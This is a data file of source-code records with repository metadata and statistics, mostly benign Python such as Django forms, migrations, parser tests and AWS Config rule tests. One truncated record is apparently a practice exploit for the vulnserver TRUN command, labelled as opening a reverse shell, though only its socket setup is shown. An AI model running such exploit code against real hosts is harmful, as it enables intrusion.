605e9578457cdf4e0fa8f459025e5ad4e5b6ae8f | 107 | py | Python | glearn/__init__.py | ggutierrez545/neuralnetworks | 891fc622515af765b8529091b99e377215e195ca | [
"MIT"
] | null | null | null | glearn/__init__.py | ggutierrez545/neuralnetworks | 891fc622515af765b8529091b99e377215e195ca | [
"MIT"
] | 7 | 2020-07-17T23:58:40.000Z | 2020-08-17T21:28:21.000Z | glearn/__init__.py | ggutierrez545/neuralnetworks | 891fc622515af765b8529091b99e377215e195ca | [
"MIT"
] | null | null | null | # Make subdirectories importable within package namespace
from . import nerualnetworks
from . import utils
| 26.75 | 57 | 0.831776 | 12 | 107 | 7.416667 | 0.833333 | 0.224719 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.140187 | 107 | 3 | 58 | 35.666667 | 0.967391 | 0.514019 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
60a56b29183bd654fa3762e78d8dc260e19dfb8d | 2,537 | py | Python | winxp_sp3/trun/trun_poc_v5.py | danf42/vulnserver | 1b01aaa0f0b5706b5bc24c5f64d99dddcdcfe913 | [
"MIT"
] | null | null | null | winxp_sp3/trun/trun_poc_v5.py | danf42/vulnserver | 1b01aaa0f0b5706b5bc24c5f64d99dddcdcfe913 | [
"MIT"
] | null | null | null | winxp_sp3/trun/trun_poc_v5.py | danf42/vulnserver | 1b01aaa0f0b5706b5bc24c5f64d99dddcdcfe913 | [
"MIT"
] | null | null | null | import socket
import struct
print "\nTRUN Command - Exploit, Reverse Shell \n"
ip_addr = '192.168.199.130'
port = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip_addr, int(port)))
except Exception as e:
print "[-] Failed to connect to service %s" % e
else:
print "[+] Con... | 40.269841 | 95 | 0.638549 | 514 | 2,537 | 3.13035 | 0.488327 | 0.069608 | 0.011187 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.232249 | 0.139535 | 2,537 | 62 | 96 | 40.919355 | 0.50481 | 0.042964 | 0 | 0 | 0 | 0.5625 | 0.638351 | 0.578969 | 0 | 1 | 0.004124 | 0 | 0 | 0 | null | null | 0 | 0.041667 | null | null | 0.104167 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | null | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
60e3c89fedd05fb964f17d231ba9aed64b9e984b | 1,641 | py | Python | stats/migrations/0006_alter_match_player_1_kit_alter_match_player_2_and_more.py | MajorXaker/HuntLototron | 14fd635d5e189135a7d91d62f69d6b1efc6d8524 | [
"Unlicense"
] | null | null | null | stats/migrations/0006_alter_match_player_1_kit_alter_match_player_2_and_more.py | MajorXaker/HuntLototron | 14fd635d5e189135a7d91d62f69d6b1efc6d8524 | [
"Unlicense"
] | null | null | null | stats/migrations/0006_alter_match_player_1_kit_alter_match_player_2_and_more.py | MajorXaker/HuntLototron | 14fd635d5e189135a7d91d62f69d6b1efc6d8524 | [
"Unlicense"
] | null | null | null | # Generated by Django 4.0 on 2021-12-16 14:33
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('stats', '0005_alter_kit_primary_ammo_a_alter_kit_primary_ammo_b_and_more'),
]
operations = [
migrations.Alter... | 41.025 | 175 | 0.654479 | 197 | 1,641 | 5.208122 | 0.253807 | 0.126706 | 0.081871 | 0.128655 | 0.797271 | 0.797271 | 0.797271 | 0.754386 | 0.707602 | 0.707602 | 0 | 0.021892 | 0.220597 | 1,641 | 39 | 176 | 42.076923 | 0.780297 | 0.026204 | 0 | 0.454545 | 1 | 0 | 0.201128 | 0.039474 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.060606 | 0 | 0.151515 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
60f7cdd44505a6f1c6cdb5a834941ab745efa05c | 4,207 | py | Python | GPS/Motion_Planning.py | michaelczhou/Sensor-Driver | 76ec8d76c881db9122edc11f57c5910572d3aa13 | [
"MIT"
] | null | null | null | GPS/Motion_Planning.py | michaelczhou/Sensor-Driver | 76ec8d76c881db9122edc11f57c5910572d3aa13 | [
"MIT"
] | null | null | null | GPS/Motion_Planning.py | michaelczhou/Sensor-Driver | 76ec8d76c881db9122edc11f57c5910572d3aa13 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
import math
class Motion_Planning:
def __init__(self,speedXY=0.2,speedYaw=0.2, errorMeter=0.2, errorAngle=math.pi/6.0):
self.target = [2.0, 0.0, 0.0]
self.position = [0.0, 0.0, 0.0]
self.speed_XY = speedXY
self.speed_Yaw = speedYaw
self.error_m... | 37.5625 | 90 | 0.479439 | 515 | 4,207 | 3.817476 | 0.114563 | 0.021363 | 0.085961 | 0.016277 | 0.788912 | 0.781282 | 0.733469 | 0.712614 | 0.712614 | 0.712614 | 0 | 0.043237 | 0.400761 | 4,207 | 111 | 91 | 37.900901 | 0.736612 | 0.093178 | 0 | 0.4375 | 0 | 0 | 0.008262 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.0125 | null | null | 0.0375 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
71595c99847024077614d8d3445a3b4bd1aa6b92 | 198,643 | py | Python | variants/tests/test_queries.py | ahujameg/varfish-server | f18603663f476dfe98b41c66aa867306b3a682ca | [
"MIT"
] | 14 | 2019-09-30T12:44:17.000Z | 2022-02-04T14:45:16.000Z | variants/tests/test_queries.py | ahujameg/varfish-server | f18603663f476dfe98b41c66aa867306b3a682ca | [
"MIT"
] | 244 | 2021-03-26T15:13:15.000Z | 2022-03-31T15:48:04.000Z | variants/tests/test_queries.py | ahujameg/varfish-server | f18603663f476dfe98b41c66aa867306b3a682ca | [
"MIT"
] | 8 | 2020-05-19T21:55:13.000Z | 2022-03-31T07:02:58.000Z | """Tests for the ``queries`` module.
Remarks:
- VCF export is only tested for case one at the moment, as it shares a major part of the implementation with
the render and tabular file export query.
"""
from variants.helpers import get_engine
from clinvar.tests.factories import ClinvarFactory
from cohorts.tests.fact... | 38.669068 | 134 | 0.559703 | 21,011 | 198,643 | 5.051402 | 0.024035 | 0.032261 | 0.048278 | 0.043718 | 0.921345 | 0.911556 | 0.894653 | 0.877741 | 0.855288 | 0.818552 | 0 | 0.029707 | 0.311826 | 198,643 | 5,136 | 135 | 38.676597 | 0.746695 | 0.042876 | 0 | 0.658448 | 0 | 0 | 0.115093 | 0.032695 | 0 | 0 | 0 | 0.000389 | 0.064239 | 1 | 0.100882 | false | 0 | 0.002714 | 0 | 0.113549 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
71790650c2f216d00c70e941e516c96754074f82 | 233 | py | Python | Lib/site-packages/elasticsearch_django/utils.py | Nibraz15/FullTextSearch | 79d03a9b5c0fc94219ad9a70fe57818496844660 | [
"bzip2-1.0.6"
] | null | null | null | Lib/site-packages/elasticsearch_django/utils.py | Nibraz15/FullTextSearch | 79d03a9b5c0fc94219ad9a70fe57818496844660 | [
"bzip2-1.0.6"
] | null | null | null | Lib/site-packages/elasticsearch_django/utils.py | Nibraz15/FullTextSearch | 79d03a9b5c0fc94219ad9a70fe57818496844660 | [
"bzip2-1.0.6"
] | null | null | null | import warnings
warnings.warn(
"Utils module is pending deprecation, please import disable_search_updates "
"from decorators module instead.",
PendingDeprecationWarning,
)
from .decorators import disable_search_updates
| 23.3 | 80 | 0.793991 | 25 | 233 | 7.24 | 0.64 | 0.143646 | 0.209945 | 0.287293 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.154506 | 233 | 9 | 81 | 25.888889 | 0.918782 | 0 | 0 | 0 | 0 | 0 | 0.450644 | 0.094421 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.428571 | 0 | 0.428571 | 0 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
7185cc5fb08ad09062891f46d3dc251a1c125a02 | 164 | py | Python | sketcher/admin.py | shivamacs/Sketcher | a06892ecaa20577424263c2f42e020c8be60bd5a | [
"MIT"
] | null | null | null | sketcher/admin.py | shivamacs/Sketcher | a06892ecaa20577424263c2f42e020c8be60bd5a | [
"MIT"
] | null | null | null | sketcher/admin.py | shivamacs/Sketcher | a06892ecaa20577424263c2f42e020c8be60bd5a | [
"MIT"
] | null | null | null | from django.contrib import admin
from sketcher.models import Post, Comment
from django.utils import timezone
admin.site.register(Post)
admin.site.register(Comment) | 27.333333 | 41 | 0.835366 | 24 | 164 | 5.708333 | 0.541667 | 0.145985 | 0.248175 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.091463 | 164 | 6 | 42 | 27.333333 | 0.919463 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.6 | 0 | 0.6 | 0 | 1 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
e092b2566bbf880634a8df4c66205a31607618ed | 24 | py | Python | pynt/__init__.py | kajoel/pynt | 0f1c03a04621029207fc29bc2a3c5b1db72314c0 | [
"Apache-2.0"
] | 3 | 2020-10-05T15:23:10.000Z | 2021-11-05T16:30:44.000Z | pynt/__init__.py | kajoel/pynt | 0f1c03a04621029207fc29bc2a3c5b1db72314c0 | [
"Apache-2.0"
] | null | null | null | pynt/__init__.py | kajoel/pynt | 0f1c03a04621029207fc29bc2a3c5b1db72314c0 | [
"Apache-2.0"
] | null | null | null | from ._settings import * | 24 | 24 | 0.791667 | 3 | 24 | 6 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.125 | 24 | 1 | 24 | 24 | 0.857143 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
e0af1dc4b57d311282a613668dceb94827b3ef42 | 48 | py | Python | code/week1_random.py | ballarat-hackerspace/raspberry_pi_workshop | f6b1522b78583dda452085dd9438019c3cdd6325 | [
"Apache-2.0"
] | null | null | null | code/week1_random.py | ballarat-hackerspace/raspberry_pi_workshop | f6b1522b78583dda452085dd9438019c3cdd6325 | [
"Apache-2.0"
] | null | null | null | code/week1_random.py | ballarat-hackerspace/raspberry_pi_workshop | f6b1522b78583dda452085dd9438019c3cdd6325 | [
"Apache-2.0"
] | null | null | null | from random import randint
print(randint(0, 2))
| 16 | 26 | 0.770833 | 8 | 48 | 4.625 | 0.875 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.047619 | 0.125 | 48 | 2 | 27 | 24 | 0.833333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0.5 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 6 |
e0d03aa549b35a3c454d1182a94a15050e198101 | 345,704 | py | Python | cpovc_forms/forms.py | yashpatel12/CPIMS-api-newtest | d5129eb3aa034f70414a2471a72c0a74ad95f6ca | [
"Apache-2.0"
] | null | null | null | cpovc_forms/forms.py | yashpatel12/CPIMS-api-newtest | d5129eb3aa034f70414a2471a72c0a74ad95f6ca | [
"Apache-2.0"
] | null | null | null | cpovc_forms/forms.py | yashpatel12/CPIMS-api-newtest | d5129eb3aa034f70414a2471a72c0a74ad95f6ca | [
"Apache-2.0"
] | null | null | null | from django import forms
from django.utils.translation import gettext_lazy as _
from django.forms.widgets import RadioSelect
from django.utils.encoding import force_str
from django.utils.safestring import mark_safe
from cpovc_main.functions import get_list, get_org_units_list
from cpovc_registry.functions import get_ge... | 42.542949 | 327 | 0.481583 | 28,337 | 345,704 | 5.695663 | 0.058087 | 0.088601 | 0.083229 | 0.084505 | 0.827755 | 0.798827 | 0.778554 | 0.757791 | 0.71082 | 0.673608 | 0 | 0.01502 | 0.391991 | 345,704 | 8,125 | 328 | 42.548185 | 0.752844 | 0.075241 | 0 | 0.644461 | 0 | 0.000297 | 0.235503 | 0.037034 | 0 | 0 | 0 | 0 | 0 | 1 | 0.001338 | false | 0.000297 | 0.001933 | 0 | 0.143494 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
460dbe685b5bd563f2d1d7352ffd5334e0db2216 | 8,656 | py | Python | python/S3_OBJECT_LOCK_ENABLED/S3_OBJECT_LOCK_ENABLED_test.py | venkatareddy781/aws-config-rules | d776e5500455f686179896adcda97397ab13c4b5 | [
"CC0-1.0"
] | null | null | null | python/S3_OBJECT_LOCK_ENABLED/S3_OBJECT_LOCK_ENABLED_test.py | venkatareddy781/aws-config-rules | d776e5500455f686179896adcda97397ab13c4b5 | [
"CC0-1.0"
] | null | null | null | python/S3_OBJECT_LOCK_ENABLED/S3_OBJECT_LOCK_ENABLED_test.py | venkatareddy781/aws-config-rules | d776e5500455f686179896adcda97397ab13c4b5 | [
"CC0-1.0"
] | null | null | null | # Copyright 2017-2019 Amazon.com, Inc. or its affiliates. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"). You may
# not use this file except in compliance with the License. A copy of the License is located at
#
# http://aws.amazon.com/apache2.0/
#
# or in the "license" fi... | 59.696552 | 251 | 0.713262 | 912 | 8,656 | 6.482456 | 0.16557 | 0.08525 | 0.02977 | 0.033491 | 0.814953 | 0.814953 | 0.806834 | 0.806834 | 0.801759 | 0.787551 | 0 | 0.023018 | 0.151802 | 8,656 | 144 | 252 | 60.111111 | 0.782212 | 0.075901 | 0 | 0.560748 | 0 | 0 | 0.234612 | 0.063824 | 0 | 0 | 0 | 0 | 0.084112 | 1 | 0.093458 | false | 0 | 0.046729 | 0 | 0.168224 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
1cbf8c160ff968d2e33e1ea839a7215af9dc58bb | 45 | py | Python | ding/interaction/tests/config/__init__.py | LuciusMos/DI-engine | b040b1c36afce038effec9eb483f625131573824 | [
"Apache-2.0"
] | 464 | 2021-07-08T07:26:33.000Z | 2022-03-31T12:35:16.000Z | ding/interaction/tests/config/__init__.py | LuciusMos/DI-engine | b040b1c36afce038effec9eb483f625131573824 | [
"Apache-2.0"
] | 177 | 2021-07-09T08:22:55.000Z | 2022-03-31T07:35:22.000Z | ding/interaction/tests/config/__init__.py | LuciusMos/DI-engine | b040b1c36afce038effec9eb483f625131573824 | [
"Apache-2.0"
] | 92 | 2021-07-08T12:16:37.000Z | 2022-03-31T09:24:41.000Z | from .test_base import TestInteractionConfig
| 22.5 | 44 | 0.888889 | 5 | 45 | 7.8 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.088889 | 45 | 1 | 45 | 45 | 0.95122 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
1cd26c250a57872e358c4135d35dc86b0f10edd3 | 206 | py | Python | r7assistant/__init__.py | kononovarseniy/r7assistant | 354f3e57ee8b4df50a40d7f023ba940e12b13c31 | [
"MIT"
] | 1 | 2021-03-14T13:46:36.000Z | 2021-03-14T13:46:36.000Z | r7assistant/__init__.py | kononovarseniy/r7assistant | 354f3e57ee8b4df50a40d7f023ba940e12b13c31 | [
"MIT"
] | null | null | null | r7assistant/__init__.py | kononovarseniy/r7assistant | 354f3e57ee8b4df50a40d7f023ba940e12b13c31 | [
"MIT"
] | null | null | null | from r7assistant.assistant import Assistant, run_assistant, Module, RecognizerFactory, Recognizer
from r7assistant.decoder import Decoder, Keyword, KeywordList
from r7assistant.microphone import Microphone
| 51.5 | 97 | 0.868932 | 22 | 206 | 8.090909 | 0.545455 | 0.252809 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.015957 | 0.087379 | 206 | 3 | 98 | 68.666667 | 0.930851 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
e83017a2879f7a2ae99e85a0391be9e627fd9116 | 39 | py | Python | app/__init__.py | communitiesuk/funding-service-design-assessment | 95ec0cbb97a42ef12d931658b90d3d91f1edee4c | [
"MIT"
] | null | null | null | app/__init__.py | communitiesuk/funding-service-design-assessment | 95ec0cbb97a42ef12d931658b90d3d91f1edee4c | [
"MIT"
] | 11 | 2022-01-10T09:37:20.000Z | 2022-02-28T10:56:19.000Z | app/__init__.py | communitiesuk/funding-service-design-assessment | 95ec0cbb97a42ef12d931658b90d3d91f1edee4c | [
"MIT"
] | 3 | 2022-01-06T16:57:10.000Z | 2022-01-07T18:01:12.000Z | from app.create_app import app # noqa
| 19.5 | 38 | 0.769231 | 7 | 39 | 4.142857 | 0.714286 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.179487 | 39 | 1 | 39 | 39 | 0.90625 | 0.102564 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
c750025d753afcacb390a62575220b71938cace0 | 37,703 | py | Python | src/genie/libs/parser/iosxr/tests/test_show_mld.py | kacann/genieparser | 76e19003199c393c59a33546726de3ff5486da80 | [
"Apache-2.0"
] | null | null | null | src/genie/libs/parser/iosxr/tests/test_show_mld.py | kacann/genieparser | 76e19003199c393c59a33546726de3ff5486da80 | [
"Apache-2.0"
] | null | null | null | src/genie/libs/parser/iosxr/tests/test_show_mld.py | kacann/genieparser | 76e19003199c393c59a33546726de3ff5486da80 | [
"Apache-2.0"
] | 1 | 2021-07-07T18:07:56.000Z | 2021-07-07T18:07:56.000Z | # Python
import unittest
from unittest.mock import Mock
# ATS
from ats.topology import Device
from ats.topology import loader
# Metaparser
from genie.metaparser.util.exceptions import SchemaEmptyParserError, SchemaMissingKeyError
# iosxe show_ip_parser
from genie.libs.parser.iosxr.show_mld import ShowMldSummaryInt... | 40.195096 | 96 | 0.393205 | 3,257 | 37,703 | 4.447037 | 0.077679 | 0.009528 | 0.050815 | 0.068973 | 0.908106 | 0.874137 | 0.852044 | 0.823668 | 0.805164 | 0.773267 | 0 | 0.115061 | 0.496327 | 37,703 | 937 | 97 | 40.237994 | 0.647657 | 0.038299 | 0 | 0.655856 | 0 | 0 | 0.22796 | 0.047648 | 0 | 0 | 0.000242 | 0 | 0.021622 | 1 | 0.021622 | false | 0 | 0.010811 | 0 | 0.081081 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
c7966173ab915ef0e69f5fb70a3c18a198956e7e | 1,226 | py | Python | pyaz/openshift/monitor/__init__.py | py-az-cli/py-az-cli | 9a7dc44e360c096a5a2f15595353e9dad88a9792 | [
"MIT"
] | null | null | null | pyaz/openshift/monitor/__init__.py | py-az-cli/py-az-cli | 9a7dc44e360c096a5a2f15595353e9dad88a9792 | [
"MIT"
] | null | null | null | pyaz/openshift/monitor/__init__.py | py-az-cli/py-az-cli | 9a7dc44e360c096a5a2f15595353e9dad88a9792 | [
"MIT"
] | 1 | 2022-02-03T09:12:01.000Z | 2022-02-03T09:12:01.000Z | '''
Commands to manage Log Analytics monitoring in an ARO 3.11 cluster.
'''
from ... pyaz_utils import _call_az
def enable(name, resource_group, workspace_id, no_wait=None):
'''
Enable Log Analytics monitoring in an ARO 3.11 cluster.
Required Parameters:
- name -- Name of the managed OpenShift cluster... | 36.058824 | 128 | 0.713703 | 171 | 1,226 | 5.017544 | 0.327485 | 0.090909 | 0.076923 | 0.083916 | 0.70979 | 0.70979 | 0.70979 | 0.70979 | 0.70979 | 0.664336 | 0 | 0.009212 | 0.2031 | 1,226 | 33 | 129 | 37.151515 | 0.868987 | 0.700653 | 0 | 0 | 0 | 0 | 0.193662 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.4 | false | 0 | 0.2 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
c7a3ed22e6bf3bb2084b20aa1fa387920c0af899 | 130 | py | Python | src/adverts/admin.py | alekseyr/pyjobs | 9ef6dd8edaba7eb568fcc7d7ee6723ac9c5eb0ff | [
"MIT"
] | 1 | 2015-11-21T19:21:23.000Z | 2015-11-21T19:21:23.000Z | src/adverts/admin.py | alekseyr/pyjobs | 9ef6dd8edaba7eb568fcc7d7ee6723ac9c5eb0ff | [
"MIT"
] | 4 | 2015-07-27T08:30:26.000Z | 2015-07-30T07:58:39.000Z | src/adverts/admin.py | pyshop/pyjobs | 9ef6dd8edaba7eb568fcc7d7ee6723ac9c5eb0ff | [
"MIT"
] | null | null | null | from django.contrib import admin
from adverts import models
admin.site.register(models.User)
admin.site.register(models.Advert)
| 18.571429 | 34 | 0.823077 | 19 | 130 | 5.631579 | 0.578947 | 0.168224 | 0.317757 | 0.429907 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.092308 | 130 | 6 | 35 | 21.666667 | 0.90678 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
c7cae1985e4e930e44cad358f43a0c04d79642f2 | 5,592 | py | Python | tests/distribution/test_distribution.py | trallnag/prometheus-adaptive-cards | 884cfca5212db821900f5700ccf0fbfa3e8459ca | [
"Apache-2.0"
] | null | null | null | tests/distribution/test_distribution.py | trallnag/prometheus-adaptive-cards | 884cfca5212db821900f5700ccf0fbfa3e8459ca | [
"Apache-2.0"
] | null | null | null | tests/distribution/test_distribution.py | trallnag/prometheus-adaptive-cards | 884cfca5212db821900f5700ccf0fbfa3e8459ca | [
"Apache-2.0"
] | null | null | null | """Copyright © 2020 Tim Schwenke - Licensed under the Apache License 2.0"""
import pytest
import requests_mock
from prometheus_adaptive_cards.config import Sending, Target
from prometheus_adaptive_cards.distribution import Payload, distribution
# ======================================================================... | 35.392405 | 80 | 0.637697 | 684 | 5,592 | 5 | 0.130117 | 0.093567 | 0.060819 | 0.072222 | 0.857895 | 0.851462 | 0.816374 | 0.815205 | 0.815205 | 0.811111 | 0 | 0.032438 | 0.200644 | 5,592 | 157 | 81 | 35.617834 | 0.732438 | 0.0549 | 0 | 0.598361 | 0 | 0 | 0.082244 | 0 | 0 | 0 | 0 | 0 | 0.254098 | 1 | 0.090164 | false | 0 | 0.032787 | 0.008197 | 0.131148 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
c7de90575ee152c0ce963b28a3443ca3b7b65c07 | 22 | py | Python | example_snippets/multimenus_snippets/Snippets/Python/Regular expressions/Character classes and alternatives/Inclusive character classes.py | kuanpern/jupyterlab-snippets-multimenus | 477f51cfdbad7409eab45abe53cf774cd70f380c | [
"BSD-3-Clause"
] | null | null | null | example_snippets/multimenus_snippets/Snippets/Python/Regular expressions/Character classes and alternatives/Inclusive character classes.py | kuanpern/jupyterlab-snippets-multimenus | 477f51cfdbad7409eab45abe53cf774cd70f380c | [
"BSD-3-Clause"
] | null | null | null | example_snippets/multimenus_snippets/Snippets/Python/Regular expressions/Character classes and alternatives/Inclusive character classes.py | kuanpern/jupyterlab-snippets-multimenus | 477f51cfdbad7409eab45abe53cf774cd70f380c | [
"BSD-3-Clause"
] | 1 | 2021-02-04T04:51:48.000Z | 2021-02-04T04:51:48.000Z | [a-zA-Z0-9 \t\n\r\f\v] | 22 | 22 | 0.5 | 9 | 22 | 1.222222 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.095238 | 0.045455 | 22 | 1 | 22 | 22 | 0.428571 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0 | 1 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
c7e893f1e8a68bf44b5b8e751616f8d6827fb533 | 103 | py | Python | accounts/tests.py | liyaSileshi/makewiki_v2 | d1953e191fa92a2f2888f9dbaf97ce583fd03cc8 | [
"MIT"
] | null | null | null | accounts/tests.py | liyaSileshi/makewiki_v2 | d1953e191fa92a2f2888f9dbaf97ce583fd03cc8 | [
"MIT"
